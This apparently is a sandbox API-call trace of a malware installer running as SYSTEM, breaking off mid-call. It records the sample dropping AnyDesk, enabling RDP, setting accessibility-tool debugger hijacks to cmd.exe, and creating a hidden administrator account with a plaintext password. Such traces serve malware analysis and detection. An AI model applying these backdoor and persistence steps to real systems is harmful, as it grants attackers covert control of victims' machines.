0x263c38 [0158.731] memcpy (in: _Dst=0x263c38, _Src=0x8dba0, _Size=0xa | out: _Dst=0x263c38) returned 0x263c38 [0158.731] memcpy (in: _Dst=0x263c44, _Src=0x260fe0, _Size=0x16 | out: _Dst=0x263c44) returned 0x263c44 [0158.731] GetFullPathNameW (in: lpFileName="files.cab", nBufferLength=0x104, lpBuffer=0x25f0c8, lpFilePart=0x25f0c4 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab", lpFilePart=0x25f0c4*="files.cab") returned 0x56 [0158.731] GetFullPathNameW (in: lpFileName="files\\install.exe", nBufferLength=0x104, lpBuffer=0x25f2d0, lpFilePart=0x25f0c4 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe", lpFilePart=0x25f0c4*="install.exe") returned 0x5e [0158.731] lstrcmpiW (lpString1="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab", lpString2="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe") returned -1 [0158.734] LoadStringW (in: hInstance=0xc00000, uID=0x26, lpBuffer=0xc0b350, cchBufferMax=2048 | out: lpBuffer="Adding %s to Extraction Queue\n") returned 0x1e [0158.734] GetConsoleOutputCP () returned 0x1b5 [0158.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adding files\\install.exe to Extraction Queue\n", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0158.734] malloc (_Size=0x2e) returned 0x264d68 [0158.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adding files\\install.exe to Extraction Queue\n", cchWideChar=45, lpMultiByteStr=0x264d68, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adding files\\install.exe to Extraction Queue\n", lpUsedDefaultChar=0x0) returned 45 [0158.734] printf (_Format="%s") returned 45 [0158.746] free (_Block=0x264d68) [0158.746] fflush (in: _File=0x0 | out: _File=0x0) returned 0 [0158.746] free (_Block=0x263c38) [0158.746] free (_Block=0x262438) [0158.746] LoadStringW (in: hInstance=0xc00000, uID=0x24, lpBuffer=0xc0b350, cchBufferMax=2048 | out: lpBuffer="\nExpanding Files ....\n") returned 0x16 [0158.746] GetConsoleOutputCP () returned 0x1b5 [0158.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\nExpanding Files ....\n", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0158.747] malloc (_Size=0x17) returned 0x260f40 [0158.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\nExpanding Files ....\n", cchWideChar=22, lpMultiByteStr=0x260f40, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\nExpanding Files ....\n", lpUsedDefaultChar=0x0) returned 22 [0158.747] printf (_Format="%s") returned 22 [0158.753] free (_Block=0x260f40) [0158.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc05a46, lpParameter=0x260b70, dwCreationFlags=0x0, lpThreadId=0x25f580 | out: lpThreadId=0x25f580*=0xde4) returned 0xb4 [0158.754] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x3e8) returned 0x0 [0158.952] CloseHandle (hObject=0xb4) returned 1 [0158.952] LoadStringW (in: hInstance=0xc00000, uID=0x25, lpBuffer=0xc0b350, cchBufferMax=2048 | out: lpBuffer="\nExpanding Files Complete ...") returned 0x1d [0158.952] GetConsoleOutputCP () returned 0x1b5 [0158.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\nExpanding Files Complete ...", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0158.952] malloc (_Size=0x1e) returned 0x263168 [0158.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\nExpanding Files Complete ...", cchWideChar=29, lpMultiByteStr=0x263168, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\nExpanding Files Complete ...", lpUsedDefaultChar=0x0) returned 29 [0158.952] printf (_Format="%s") returned 29 [0158.960] free (_Block=0x263168) [0158.961] free (_Block=0x8dba0) [0158.961] free (_Block=0x82700) [0158.961] printf (_Format="\n") returned 1 [0158.963] LocalFree (hMem=0x5b20e8) returned 0x0 [0158.963] FDIDestroy () returned 0x1 [0158.963] LocalFree (hMem=0x5c31e0) returned 0x0 [0158.964] FreeLibrary (hLibModule=0xc00000) returned 1 [0158.964] exit (_Code=0) Thread: id = 166 os_tid = 0xde4 Process: id = "12" image_name = "install.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe" page_root = "0x1b30e000" os_pid = "0xdec" os_integrity_level = "0x3000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x38c" cmd_line = "\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\msiserver" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006cbe1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2575 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2576 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2577 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2578 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2579 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2580 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2581 start_va = 0x400000 end_va = 0x7abfff monitored = 1 entry_point = 0x401124 region_type = mapped_file name = "install.exe" filename = "\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe") Region: id = 2582 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2583 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2584 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2585 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2586 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2587 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2588 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2589 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2590 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2591 start_va = 0x1a0000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2592 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2593 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2594 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2595 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2596 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2597 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2598 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 2599 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2600 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 2601 start_va = 0x7b0000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 2602 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2603 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2604 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2605 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2606 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2607 start_va = 0x1a0000 end_va = 0x206fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2608 start_va = 0x300000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2609 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2610 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2611 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2612 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2613 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2614 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2615 start_va = 0x749d0000 end_va = 0x749d6fff monitored = 0 entry_point = 0x749d1120 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 2616 start_va = 0x75960000 end_va = 0x75994fff monitored = 0 entry_point = 0x7596145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2617 start_va = 0x76960000 end_va = 0x76965fff monitored = 0 entry_point = 0x76961782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2618 start_va = 0xa10000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 2619 start_va = 0x210000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2620 start_va = 0x7b0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 2621 start_va = 0x910000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 2622 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2623 start_va = 0x749b0000 end_va = 0x749c0fff monitored = 0 entry_point = 0x749b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2624 start_va = 0x749a0000 end_va = 0x749a8fff monitored = 0 entry_point = 0x749a15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2625 start_va = 0x74980000 end_va = 0x74998fff monitored = 0 entry_point = 0x74981319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2626 start_va = 0x74970000 end_va = 0x7497efff monitored = 0 entry_point = 0x749712a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2627 start_va = 0x74960000 end_va = 0x7496efff monitored = 0 entry_point = 0x7496125e region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 2628 start_va = 0x74940000 end_va = 0x74951fff monitored = 0 entry_point = 0x74944795 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 2632 start_va = 0x250000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2633 start_va = 0xa10000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 2634 start_va = 0xc00000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 2635 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Thread: id = 168 os_tid = 0xdf8 [0160.282] CreateFileA (lpFileName="log1.txt" (normalized: "c:\\windows\\syswow64\\log1.txt"), dwDesiredAccess=0x4, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x40 [0160.283] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x18fe58 | out: TokenHandle=0x18fe58*=0x44) returned 1 [0160.283] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRemoteShutdownPrivilege", lpLuid=0x18fe4c | out: lpLuid=0x18fe4c*(LowPart=0x18, HighPart=0)) returned 1 [0160.288] AdjustTokenPrivileges (in: TokenHandle=0x44, DisableAllPrivileges=0, NewState=0x18fe48*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0160.288] CloseHandle (hObject=0x44) returned 1 [0160.289] CreateDirectoryA (lpPathName="c:\\programdata\\anydesk" (normalized: "c:\\programdata\\anydesk"), lpSecurityAttributes=0x0) returned 1 [0160.290] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0160.290] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0xa) returned 0x404048 [0160.292] LoadResource (hModule=0x400000, hResInfo=0x404048) returned 0x404060 [0160.292] SizeofResource (hModule=0x400000, hResInfo=0x404048) returned 0x3a7080 [0160.292] CreateFileA (lpFileName="c:\\programdata\\anydesk.exe" (normalized: "c:\\programdata\\anydesk.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c [0160.293] WriteFile (in: hFile=0x8c, lpBuffer=0x404060*, nNumberOfBytesToWrite=0x3a7080, lpNumberOfBytesWritten=0x18fe44, lpOverlapped=0x0 | out: lpBuffer=0x404060*, lpNumberOfBytesWritten=0x18fe44*=0x3a7080, lpOverlapped=0x0) returned 1 [0160.580] CloseHandle (hObject=0x8c) returned 1 [0160.661] WriteFile (in: hFile=0x40, lpBuffer=0x403036*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x40300d, lpOverlapped=0x0 | out: lpBuffer=0x403036*, lpNumberOfBytesWritten=0x40300d*=0xd, lpOverlapped=0x0) returned 1 [0160.662] LoadLibraryA (lpLibFileName="advapi32") returned 0x76a60000 [0160.663] LoadLibraryA (lpLibFileName="netapi32") returned 0x749b0000 [0161.260] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Control\\Terminal Server", ulOptions=0x0, samDesired=0x20006, phkResult=0x18f5d0 | out: phkResult=0x18f5d0*=0xa4) returned 0x0 [0161.260] RegSetValueExA (in: hKey=0xa4, lpValueName="fDenyTSConnections", Reserved=0x0, dwType=0x4, lpData=0x18fa84*=0x0, cbData=0x4 | out: lpData=0x18fa84*=0x0) returned 0x0 [0161.261] RegCloseKey (hKey=0xa4) returned 0x0 [0161.261] lstrcpyA (in: lpString1=0x18f5e8, lpString2="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" [0161.261] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\", lpString2="sethc.exe" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" [0161.262] RegCreateKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe", phkResult=0x18f5d0 | out: phkResult=0x18f5d0*=0xa4) returned 0x0 [0161.263] RegSetValueExA (in: hKey=0xa4, lpValueName="Debugger", Reserved=0x0, dwType=0x1, lpData="c:\\windows\\system32\\cmd.exe", cbData=0x1b | out: lpData="c:\\windows\\system32\\cmd.exe") returned 0x0 [0161.264] RegCloseKey (hKey=0xa4) returned 0x0 [0161.264] lstrcpyA (in: lpString1=0x18f5e8, lpString2="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" [0161.265] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\", lpString2="Magnify.exe" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Magnify.exe") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Magnify.exe" [0161.265] RegCreateKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Magnify.exe", phkResult=0x18f5d0 | out: phkResult=0x18f5d0*=0xa4) returned 0x0 [0161.265] RegSetValueExA (in: hKey=0xa4, lpValueName="Debugger", Reserved=0x0, dwType=0x1, lpData="c:\\windows\\system32\\cmd.exe", cbData=0x1b | out: lpData="c:\\windows\\system32\\cmd.exe") returned 0x0 [0161.266] RegCloseKey (hKey=0xa4) returned 0x0 [0161.266] lstrcpyA (in: lpString1=0x18f5e8, lpString2="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" [0161.266] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\", lpString2="HelpPane.exe" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\HelpPane.exe") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\HelpPane.exe" [0161.266] RegCreateKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\HelpPane.exe", phkResult=0x18f5d0 | out: phkResult=0x18f5d0*=0xa4) returned 0x0 [0161.266] RegSetValueExA (in: hKey=0xa4, lpValueName="Debugger", Reserved=0x0, dwType=0x1, lpData="c:\\windows\\system32\\cmd.exe", cbData=0x1b | out: lpData="c:\\windows\\system32\\cmd.exe") returned 0x0 [0161.267] RegCloseKey (hKey=0xa4) returned 0x0 [0161.267] lstrcpyA (in: lpString1=0x18f5e8, lpString2="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" [0161.267] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\", lpString2="utilman.exe" | out: lpString1="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\utilman.exe") returned="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\utilman.exe" [0161.267] RegCreateKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\utilman.exe", phkResult=0x18f5d0 | out: phkResult=0x18f5d0*=0xa4) returned 0x0 [0161.268] RegSetValueExA (in: hKey=0xa4, lpValueName="Debugger", Reserved=0x0, dwType=0x1, lpData="c:\\windows\\system32\\cmd.exe", cbData=0x1b | out: lpData="c:\\windows\\system32\\cmd.exe") returned 0x0 [0161.268] RegCloseKey (hKey=0xa4) returned 0x0 [0161.268] RegCreateKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList", phkResult=0x18f5d0 | out: phkResult=0x18f5d0*=0xa8) returned 0x0 [0161.270] RegSetValueExA (in: hKey=0xa8, lpValueName="Administartor", Reserved=0x0, dwType=0x4, lpData=0x18fa84*=0x0, cbData=0x4 | out: lpData=0x18fa84*=0x0) returned 0x0 [0161.271] RegCloseKey (hKey=0xa8) returned 0x0 [0161.271] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x18fa4c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), Name=0x18fccc, cchName=0x18f5e4, ReferencedDomainName=0x18facc, cchReferencedDomainName=0x18f5e0, peUse=0x18f5d8 | out: Name="Administrators", cchName=0x18f5e4, ReferencedDomainName="BUILTIN", cchReferencedDomainName=0x18f5e0, peUse=0x18f5d8) returned 1 [0161.276] GetProcAddress (hModule=0x749b0000, lpProcName="NetUserDel") returned 0x7496581f [0161.487] NetUserDel (servername=0x0, username="Administartor") returned 0x8ad [0162.087] GetProcAddress (hModule=0x749b0000, lpProcName="NetUserAdd") returned 0x74965648 [0162.087] NetUserAdd (in: servername=0x0, level=0x1, buf=0x18fa84*(usri1_name="Administartor", usri1_password="Ad%inJstartor", usri1_password_age=0x0, usri1_priv=0x1, usri1_home_dir=0x0, usri1_comment=0x0, usri1_flags=0x10040, usri1_script_path=0x0), parm_err=0x18f5d4 | out: buf=0x18fa84*(usri1_name="Administartor", usri1_password="Ad%inJstartor", usri1_password_age=0x0, usri1_priv=0x1, usri1_home_dir=0x0, usri1_comment=0x0, usri1_flags=0x10040, usri1_script_path=0x0), parm_err=0x18f5d4) returned 0x0 [0162.256] LookupAccountNameW (in: lpSystemName=0x0, lpAccountName="Administartor", Sid=0x18fd94, cbSid=0x18f5e4, ReferencedDomainName=0x18facc, cchReferencedDomainName=0x18f5e0, peUse=0x18f5d8 | out: Sid=0x18fd94*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), cbSid=0x18f5e4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0x18f5e0, peUse=0x18f5d8) returned 1 [0162.259] GetProcAddress (hModule=0x749b0000, lpProcName="NetLocalGroupAddMembers") returned 0x749692fe [0162.259] NetLocalGroupAddMembers (in: servername=0x0, groupname="Administrators", level=0x0, buf=0x18f5d0*(lgrmi0_sid=0x18fd94*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))), totalentries=0x1 | out: buf=0x18f5d0*(lgrmi0_sid=0x18fd94*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, 